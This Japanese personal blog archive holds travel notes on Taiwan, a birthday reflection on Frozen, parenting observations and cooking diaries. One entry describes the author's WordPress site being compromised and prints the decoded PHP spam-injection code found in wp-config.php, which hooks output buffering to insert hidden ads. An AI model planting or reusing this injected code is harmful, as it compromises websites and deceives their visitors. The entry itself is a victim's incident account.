diary」カテゴリーアーカイブ

台湾所感

台湾サービス科学会のカンファレンスにご招待を受けて、初の台湾訪問。
カンファレンス内容とはまったく関係ない、台湾所感。

携帯・SIM

  • 台湾モバイルのプリペイドSIMは、パスポートに基づいて登録して作成する。
  • 街中ではだいたいコンビニと同じくらいの頻度でショップがある。
  • なぜか店内は録音撮影禁止の張り出しがしてあった。
  • 店頭で、何日間か(3日)、通話付きか通信のみか(通信のみ)、iPhoneはSIMロックかかっていないか(SIMフリーだから大丈夫)を聞かれて、パスポートを渡して手続き。
  • SIMはiPhoneに挿したら、なにも設定しなくともすぐに3Gがつながった(いちどキャリアプロファイルのアップデートアラートが出たかも)。
  • 6ヶ月有効とのことなので、その間であれば持っておいてチャージすることができる。
  • そのときのために、SIMの電話番号を渡された。
  • ネット接続はは3Gの速度で日常使用にストレスはまったくなかった。
  • むしろ日本より快適であった。
  • これは、日本は通信環境だけでなく別のボトルネックがあるから、体感が遅く感じるということなのかも。
  • 無料WiFiはたしかにまあまああるが、やはり電車等で移動することを考えると、プリペイドSIMがベスト。
  • iPhone 6+のナノSIMはコンバーターを使って古いiPhone 3Gに装着できた。
  • データ通信を切って、国際ローミングだけオンにして緊急受話用に使った。

モバイル環境

  • 街中ではメインのiPhone 6+、緊急通話用のiPhone 3G、ガイドブックとしてiPad miniを持ち歩いた。
  • iPadはiPhoneのテザリングで十分実用になった。
  • iPhone 3Gは1日持ち歩いて電池の残量は60〜70%というところ。
  • iPhone 6+だけ、1日だけ夜に20%を切って、モバイルのバッテリのお世話になったが、やはりでかいだけあって、バッテリの持ちはよい。モバイルバッテリは小さいのでもいける感じ(いちおうANKERのデカイのを持ち歩いていた)。

電源

  • 電源コンセントの形は日本といっしょなので、テクノロジー機器関係はほぼそのまま使えると考えてよい。
  • ホテルでは、3つ又タコ足にANKERの5USBアダプタをつないで使った。

地下鉄

  • 3日券を買えば、最初に使った日から3日有効。
  • 初乗り料金を考えると3日券は若干割高な気もしたが(タクシーも多用したし)、チャージ型のカードの残高を気にしなくてもよいので旅行者であれば1日券を買っちゃってよいとおもう。ちなみに初乗りがNT$40(150円)、3日券はNT$440 (1650円)。

タクシー

  • だいたい一回NT$170〜200くらい。日本円にして700円くらいか。
  • けっこうみんなタクシーを多用している。
  • 道で手を上げて捕まえるが、週末なんかはなかなかつかまらない。が、日本ほどではない。
  • 運転手は英語がわからない人が多いので、漢字で書いた住所があるとベスト。

食事

  • 街中ではNT$30〜100で食べられるが、小綺麗なところにいけばNT$200(とはいえ700円くらい)以上は覚悟すべし。
  • 全体的に味に奥行きがない。

街中

  • コンビニはセブンイレブンとファミリーマートが目立つ
  • セブンとミスドとスタバが同じ資本が管理しているらしく、3つがおなじテナントに並んでいたりする。
  • コンビニ内でも六角の匂いがする。

街の雑感

  • 若干小汚く古い通りと、広い通りで近代的なビル街とが混在している。
  • 101エリアにも行ってみたが、お台場感あふれる感じ。
  • ビル街の合間にも屋台があるのが台湾。
  • 看板などいたるところに断片的な日本語が見られる。
  • スーパーのお菓子コーナーや加工食品コーナーでは、日本メーカーのものがわりと存在感を見せている。
  • フル日本語の商品もたまにある。例えるなら日本国内で英語だけの商品(直輸入もの)に遭遇する頻度くらい。
  • 街中で、いわゆる中国茶を飲ませるカフェはなく、むしろコーヒーのほうが充実している。
  • が、ちょっと道を外したローカルなエリアに行くと定食屋みたいなところで茶を飲んでる。ちょっと入るには勇気がいる感じ。

五分埔

  • 五分埔という洋服屋(問屋を兼ねる)が立ち並ぶエリアに行ってみた。
  • 立ち並ぶというより、一エリア内に密集している感じで、秋葉原デパートの中みたいな感じ。
  • 子供服目当てで行ったが、一着300〜400円程度から。
  • しかし、正直日本でも500円であれば、ブックオフの古着でけっこういいものが買えることを考えると、まったく買いたいものに出会えず。
  • ネタとしてやばそうなものはいくつかあったが、にしてもぜったい着ない感じ。
  • 女性服がメインで、メンズもままある。
  • 全体的にジーンズメイトで売っているような「どこかで見たことのある感じだけど、生地とか仕立てとかは若干残念な感じ」の服なので、多少安くてもそれなりな感じ。
  • 誰がここで買うのかね、と話していたら、立ち寄ったカフェで隣に座った高校生?くらいの子らが、ほんとにゴミ袋的な袋いっぱいに買い込んでいた。
  • まあ、日本で言うところのショッピングモールで買い物する感覚なのかも。
  • このコピーする感覚からは、実績のあるブランドの商品の価値・意義は伝わりにくいだろう。

41回目の誕生日

いつのまにか本厄の年になっていた。会社を設立した年が29才なのでちょうど12年。なんとなくきりがよい。誕生日の4月12日は、家族みんな風邪っぽいこともあり、あまりアクティブに出回らずおとなしくアナと雪の女王を見に行くことに。

2才と5才の子供がフルに映画館でおとなしくしていられるかを心配しながらの、付き合い気分の鑑賞だったが、結果的に個人的にもものすごくよかった。

子供が日本語もおぼつかない状態なので吹き替え版を見たのだが、まずこの日本語吹き替え版が大当たりだった。この映画ははっきりいってミュージカル映画であって、音楽と歌がすごく重要。その意味で、映画館の大音量で見ることの意義は大きい。そして、この映画はディズニー映画ではあまり見ない二人のヒロインが主人公スタイル(その意味でタイトルの「アナと雪の女王」はアナを推しすぎていてミスリード)。二人のヒロインの吹き替えは神田沙也加と松たか子が担っているのだが、この二人すごい。 誰が声優かまったく知らずに(わからずに)見ていたが、セリフも歌も違和感なく魅了されてしまった。

ミュージカル映画の邦訳時の課題である、和訳歌詞であるが、これも聞いていると違和感がないばかりか、日本語の歌詞としても意表をついてよくできていると思う。「すこ〜しも寒くないわ(The cold never bother me anymore.)」とか、「ありーの、ままーで(Let it go, let it go)」とか、英詞を聞いてからだと違和感を感じるのかもしれないけど、少なくとも日本語版を最初に聞いた時はむしろ感心した。近田春夫さんがどう評するのか、たいへん興味がある。

似たスタイルで、わりと好きな「魔法にかけられて」なんかだと、歌とおどりのシーンが若干わざとらしいのだが、多分そこから学んでいて、この映画では歌シーンはセリフの延長に設定されており、わざとらしさがまったくない。かつ、声優をやっている人がフルで歌を歌っているから、映画としての違和感もまったくない。音楽、効果音とも完璧に馴染んでいて、外国の映画と思えないほど。エンドクレジットでは、英語版(オリジナル版)のキャストだけが収録されていて、日本語版スタッフは最後におまけで出てくるだけだったが(日曜洋画劇場とかで最後に出てくるようなプレーンなテロップ)、ここまで統合されているっていうのは、もはや各国語版スタッフも、スタッフの一員と言えるのではなかろうか。少なくとも、エンドクレジットは各国版でちゃんと声優を取り上げるべきだ。

ちなみに余談であるが、ディズニーの各国語版では、お店の表札とか、英語表記の内容がオリジナルのレイアウトや書体で日本語化されている。これって、制作のどの段階でこの処理を行っているのかたいへん気になる。わりと各国展開を前提に作っていると思えるからだ。音声もしかりで、後からセリフだけ差し替えているとは思えず、明らかにミックスし直している。どうやっているんだろ。

そしてなにより脚本がいい。ダブル主演のストーリーを輻輳的に展開してるから、わかりやすいディズニー映画でありながら、ぱっと見にはわかりにくい展開になっている。なので、大人が見てもありきたりな印象はうけないはず。そして、さらにすごいことに、全体としては分かりやすいと(=スッキリする)いう、かなり練られた展開。姉妹のストーリーというあたりがまた話の深さに寄与している。物語の構造分析が好きな向きにもお勧めである。

家族で映画鑑賞したその日から、主題歌の「Let it go」(の日本語版の松たか子版「ありのままで」)は我が家の定番ソングになってしまった。帰りに食事しながら即iTunesでアルバムは買ったが、どっちかというとYouTubeの一緒に歌おうバージョンの方がよく見ている。そして5才の娘はエルサ(雪の女王)のフリを完コピしながら演じてる。「すこ〜しも寒くないわ(フッ)」という、女王になる瞬間の表情まで完コピしていてなかなかのはまりよう(妹の方は「雪だるまつくろう」が好きみたい)。こりゃはやく音源だけじゃなくて本編の方も配信されないかな。

とまあ、こんな感じで幸せな日常を過ごせることを感謝する誕生日でした。
これからもよろしくお願いします。

言語獲得過程と無の概念

あけましておめでとうございます。

さて、昨年は二人目の子供(女児)が生まれ、家族4人でわいわいやっています。
長女は、大晦日に3才の誕生日を迎え、いっちょうまえに会話が成立するようになってきました。

そういった中で興味深いのが、言葉の誤用です。
たいていの誤用は面倒でも言い直してあげることで驚くほど精度が上がっていくのですが、なかなか説明が難しいのが「無」の概念伝達です。

具体的には、「なんでもない」を「誰もない」とよく間違えます(本人はまだ間違えたことに気付いていない)。
「どうしたの?」
「誰もいない」
という会話が日に数回は交わされます。

まだ、抽象概念はわかってるのかわかっていないのかという状態なのですが、
「そういう時は、『なんでもない』って言うんだよ。」って言っていますが、本人的にはぴんと来ていない様子。
ニコニコしながら「誰もいな〜い」って応えます。

ちょっと近い概念で、「謝る」概念もわかっているのどうか不安です。
失敗をしたときに「ごめんごめーん」というクセはついたのですが、けっこう楽しそうにごめんをいっているので果たして「申し訳ない」という概念を持っているのかどうか。

と、そこで思うのは果たして「申し訳ない」という概念とはなんなのか。
自分のやったことを反省して、自責の念を持てばよいのか?そうだっけ?

ちなみに、デジタル機器周りでは、iPadやiPhoneは文字入力以外は難なく使いこなし、最近ではMacでのKidPixも使えるようになりました(マウス操作)。
まだ文字が読めないのでWiiは難しいのですが(Wiiではコントローラーのストラップを腕に通しなさい、というインストラクションのところは理解しているらしく、その表示が出る度に得意げに「ここに通すのよ」って周りの人に教えてあげています)、普通のコントローラー、Wii Fitコントローラーといった無線のコントローラーで接続するあたりは当然のように理解しています(むしろ有線のコントローラーも外そうとしたりします)。

また、完全に映像コンテンツはオンデマンドなものだと思っているようで、テレビを見ているときにトイレやお風呂に立つタイミングで「ちょっと止めておいて」とさも当然のように言っています。
まあ、ライブ放送以外、リアルタイムストリーミングであることのほうが理解が難しいんだろうな。

そんな感じですが、今年もよろしくお願いします。

HCD-Net meets Google guys

HCD-Net理事でもあるDESIGN IT!/ソシオメディアの篠原さんの計らいで、DESIGN IT! Conference 2009のゲストとして来日されているBraden Kowitz氏(米Google社シニアUXデザイナ)、Donal Mountain氏(米Google社UXリサーチャ)らとHCD-Net理事メンバーとの意見交換会が開催された。

今回、Google代表としてではなく、各分野のスペシャリストとして講演されるとのことだったが、GoogleでのUXアクティビティなどを聞くことができた。

おふたりとももともとそれぞれ肩書きがユーザーインターフェイスデザイナ、ユーザビリティアナリストだったのが数年前にGoogleでは、UXの概念の普及と共にユーザーエクスペリエンスデザイナ、ユーザーエクスペリエンスリサーチャと変わったとのこと。

他にも、Google内及び日本国内でのUXリテラシの普及度、分野ごとの具体的なユーザビリティエンジニアリングの手法など、実践における方法などで意見交換を行うことができた。

例によってSuica等のプリペイドカードの日本での普及と携帯との融合は彼らには目新しかったようで、早速Suicaを購入していた模様。

090212-15: 牛スジ煮込み

今週は水曜が休みだったため、木曜金曜の二日は週明けっぽくもあり、あっという間の週末っぽくもあり、のあわただしい日々だった。

ジョージ、河内さんが出張、旅行から帰国。

河内さんのハワイ旅行記は読み応えもあり、ハワイに行きたくなる。
もうちょっと子供が大きくなったらだな。

金曜役員会では、コンセントの新キャッチフレーズにつけるショルダーコピーというのかな?フレーズの隣に書かれる文言、あれが決まった。近日公開されます。

また、ビデオカメラを購入。

メモリカードに録画できる軽量なやつ、と思っていたのだが、このタイミングでソニーから渾身のできの新機種が登場。

ソニー HDR-XR520V

小寺信良の週間「Electric Zooma!」’09年春頂上決戦!? HDR-XR520V vs HF S10
〜 数年に一度の革命を一気に成し遂げたHDR-XR520V篇 〜

ちょっと予算オーバーしたがこれを買わないわけにはいかず発売日前に予約。
2/20発売予定だったが、1週間早く発売された模様。

会社でちょっと試し撮りしたが、まずはその画質におどろく。

ミニDVとかの時代しか知らないので(ザクティとかコンパクトビデオはあったが、あっちはもちっと画質は劣る)、フルハイビジョン画質にちょっとした感動を味わう。

あとは、記事の評判通り、アンチ手ぶれの性能がものすごい。歩きながら撮ってもほんとに安定している。
こんなカメラが学生時代にあったら映画撮り放題だな。
これと、10万円くらいのMacBookとかで十分編集できてしまうのだから。

週末は相変わらず家で子供の世話の手伝いと、食事作り。

土曜は暖かいというより春のような気候。
ようやく加湿器が届いたのだが、そろそろいらなくなりそうなタイミング。

ビデオカメラでカメラづいたので、ついでに陽気に惹かれてお散歩撮影。
D80にCarl Zeiss Planar 50mm/F1.4で撮影実験。

帰り道で見切り品の野菜といっしょにこんにゃくを買ってきて先日買ってきてほったらかしになっていた牛スジ煮込みに挑戦。
結婚祝いにもらった圧力鍋をを初めて使ってみる。

圧力鍋に、一度湯がいて血や油を落とした牛スジと、塩もみしたこんにゃく、あとはしょう油とみりんを加えて煮込む。
湯がいた状態のすじ肉は、がちがちに固まって、お湯につけたせいで反ってしまっている。

加圧して30分煮込んだら、鍋を移してさらにしばらく煮込む。

これで信じられないくらいとろーんとした牛スジ煮込みができあがった。

以前スペアリブのカレーを作ってもらったときも骨まで食べられるほど煮込まれたのだが、この圧力鍋というのはあまりにも強力すぎてちょっと恐れを感じてしまう。

090211: blog was carcked

(この)blogがクラックされた。

具体的には、<body>タグの直後に64kくらいの(!)SPAM広告が埋め込まれる、というクラック。

kazuさんに指摘されて気づいたのだが、CSSを切らないと画面には表示されないようになっていた。
指摘された後もなにが起きているのかわからず、WordPressを最新ソースに差し替えたりしたのだが、直らず。

と、思っていたら、WordPress設定ファイルである、wp-config.php自体が汚染されていた。

かつ、埋め込まれたコードはbase64でエンコードされており、単純には見つからない仕組みになっていた。

ちなみにこんなコード。けらくんに解読してもらった。

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
 $GLOBALS['sh_no']=1;
 if(file_exists('/home/www/wordpress/wp-includes/js/
 tinymce/themes/advanced/images/xp/js.php')){
   include_once('/home/www/wordpress/wp-includes/js/
   tinymce/themes/advanced/images/xp/js.php');
   if(function_exists('gml')&&!function_exists('dgobh')){
     if(!function_exists('gzdecode')){
       function gzdecode($d){
         $f=ord(substr($d,3,1));
         $h=10;
         $e=0;
         if($f&4){
           $e=unpack('v',substr($d,10,2));
           $e=$e[1];
           $h+=2+$e;
         }
         if($f&8){
           $h=strpos($d,chr(0),$h)+1;
         }
         if($f&16){
           $h=strpos($d,chr(0),$h)+1;
         }
         if($f&2){
           $h+=2;
         }
         $u=gzinflate(substr($d,$h));
         if($u===FALSE){
           $u=$d;
         }
         return $u;
       }
     }
     function dgobh($b){
       Header('Content-Encoding: none');
       $c=gzdecode($b);
       if(preg_match('/\<body/si',$c)){
         return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
       }
       else{
         return gml().$c;
       }
     }
     ob_start('dgobh');
   }
 }
}

もう一つ自己増殖するコードも埋め込まれていた模様。

実はこのblog(underconcept)ではなく、同じサーバで運営していた別のblogが原因でこちらのblogも汚染されていた。

これはこのblogを乗せているさくらインターネットがユーザーの権限でApacheを動かしていたため、パーミッション644のファイル(ほぼすべて)が、Apacheの権限で書き換えられてしまったことに起因しそう。

問題のありそうなテーマ等は現在解析中です。

090209-10

月曜午前はグループミーティング。

本日は、昨日紹介したUX Deliverablesを紹介しながら自分たちのプロセスとの比較や、知らない用語がないかの確認。

こういったかたちで全体像が提示されることで自分達のプロセスとの比較や、議論する際のスタートラインを作れるのことはたいへんよい。

大岡くんやちこちゃんなどIX/UXチーム以外の人々も参加して、むしろチームメンバーより活発に議論。

午後はプロジェクトの相談を受けに赤坂へ、その後は続けてプロジェクトミーティング。

帰り道でI佐さんよりプライベートかつコンフィデンシャルな相談を受け大いに盛り上がる。

火曜は午前はドキュメント制作などの作業。

午後からプロジェクトについての社内デザインミーティング。

「画面情報の価値」ということについて、情報量、一覧性、インタラクション(ギミック) の有無、楽しさ(演出)といった競合もする要素のグラデーションから検討する。

その後は、CNET西田さんの紹介でウノウの山田さんとお会いする。

関係ないがウノウって関連会社にサノウってあるのね。

夜のIA100ミーティングは編集の村田さんの急な会議で延期。

090207-08

ひさびさに土日ともに外出の予定が入っていない週末。

床屋にて散髪。それ以外は料理して、おむつ交換して、たまにミルクを作ってあとは原稿やプロジェクトのドキュメント執筆。

以下、覚えているメニュー:

土曜ブランチは、賞味期限切れのコンキリエパスタをトマトソースにオリーブ、ケッパー、唐辛子等々を加えたものあえたもの、ゴボウのバルサミコきんぴら。

コンキリエは窪みにソースがからむので、トマトソースがぴったり。
トマトソースはニンニクと唐辛子をオリーブオイルで炒めて、オリーブ、ケッパーを加えてからホールトマトを入れて煮ただけの簡易ソース、だったが、仕上げに黒こしょうをきかせたらぴりっとして美味だった。

晩は、かぶとにんじん、鶏肉その他のポトフ、鶏胸肉のソテー キノコ添え、じゃがいもとエリンギのきんぴら。

鶏のソテーは僕にとって鬼門ともいうべき難敵なのだが、今日は1)ハーブで香り付けしておく、2)片面を重点的に焼く、3)蓋をして全体を蒸らす、の作戦でいったらレアにおいしく焼けた。

同時に翌日用にカボチャを醤油、みりん、砂糖で甘く煮る。

日曜朝は昨日の残りのご飯がちょっとだけあったので、あとは餅を焼いて、納豆餅、海苔餅、残り物のあんこを使ってお汁粉。それに白菜のおひたし。昨日のカボチャ。

白菜はざく切りして熱したるクルーゼに入れて白菜自身の水分でじわっと煮込む。
そこにすり下ろした生姜と、自家製ポン酢をかけていただく。あまり火を通しすぎないでしゃきしゃきしたままで食べるのがポイント。

カボチャは熱くてもおいしいが、さましてから食べると口の中で甘いのとしょっぱいのとが交互にやってきて止まらなくなる。

昼はブロッコリのペペロンチーノ唐辛子抜き。

ブロッコリの下ごしらえもわりと苦手なのだが、今日も若干まだ固かったかも。

晩は肉じゃが、キノコと豆腐の味噌汁、アスパラのオリーブオイル炒めにパルメザンチーズをあえる。

肉じゃがはたぶん作ったことがなかったが、初めて作ったにしてはうまくできた。
豚肉をルクルーゼで炒めて、そこにじゃがいも、にんじん、たまねぎを加える。
そこにみりんと酒を加えて、フタをしてじゃがいもが柔らかくなるまで弱火で煮る。
水は野菜の水分がじゃぶじゃぶ出るから入れない。
じゃがいもが柔らかくなったら、醤油をかけてもうひと煮。
最初豚肉の臭みが気になったが、しばらく放っておいたら飛んだ模様。
ご飯にかけてもおいしい。

あと、回鍋肉用に豚肩ロース肉を煮る。

回鍋肉用の豚ブロックはいつもなにを買ったらよいか忘れてしまうんだが、今回は間違わず肩ロースを購入。
ねぎの青いところは回鍋肉の豚煮用に残してある。
煮た豚は半分冷蔵庫、半分ソフト冷凍。
残った汁はスープに使える。

最近購入した新しい冷凍庫はソフト冷凍(温度が高いので冷凍しても包丁で切れる)とか、瞬間冷凍(過冷却しておいて、ショックを与えて一瞬で冷凍させて、細胞を壊さず冷凍できる)とか新機能が付いているのだが、いまいち使いこなせていない。
ソフト冷凍でフローズンヨーグルトを作るくらいか(しかしそれも凍らせっぱなしでかちんかちんになってしまう)。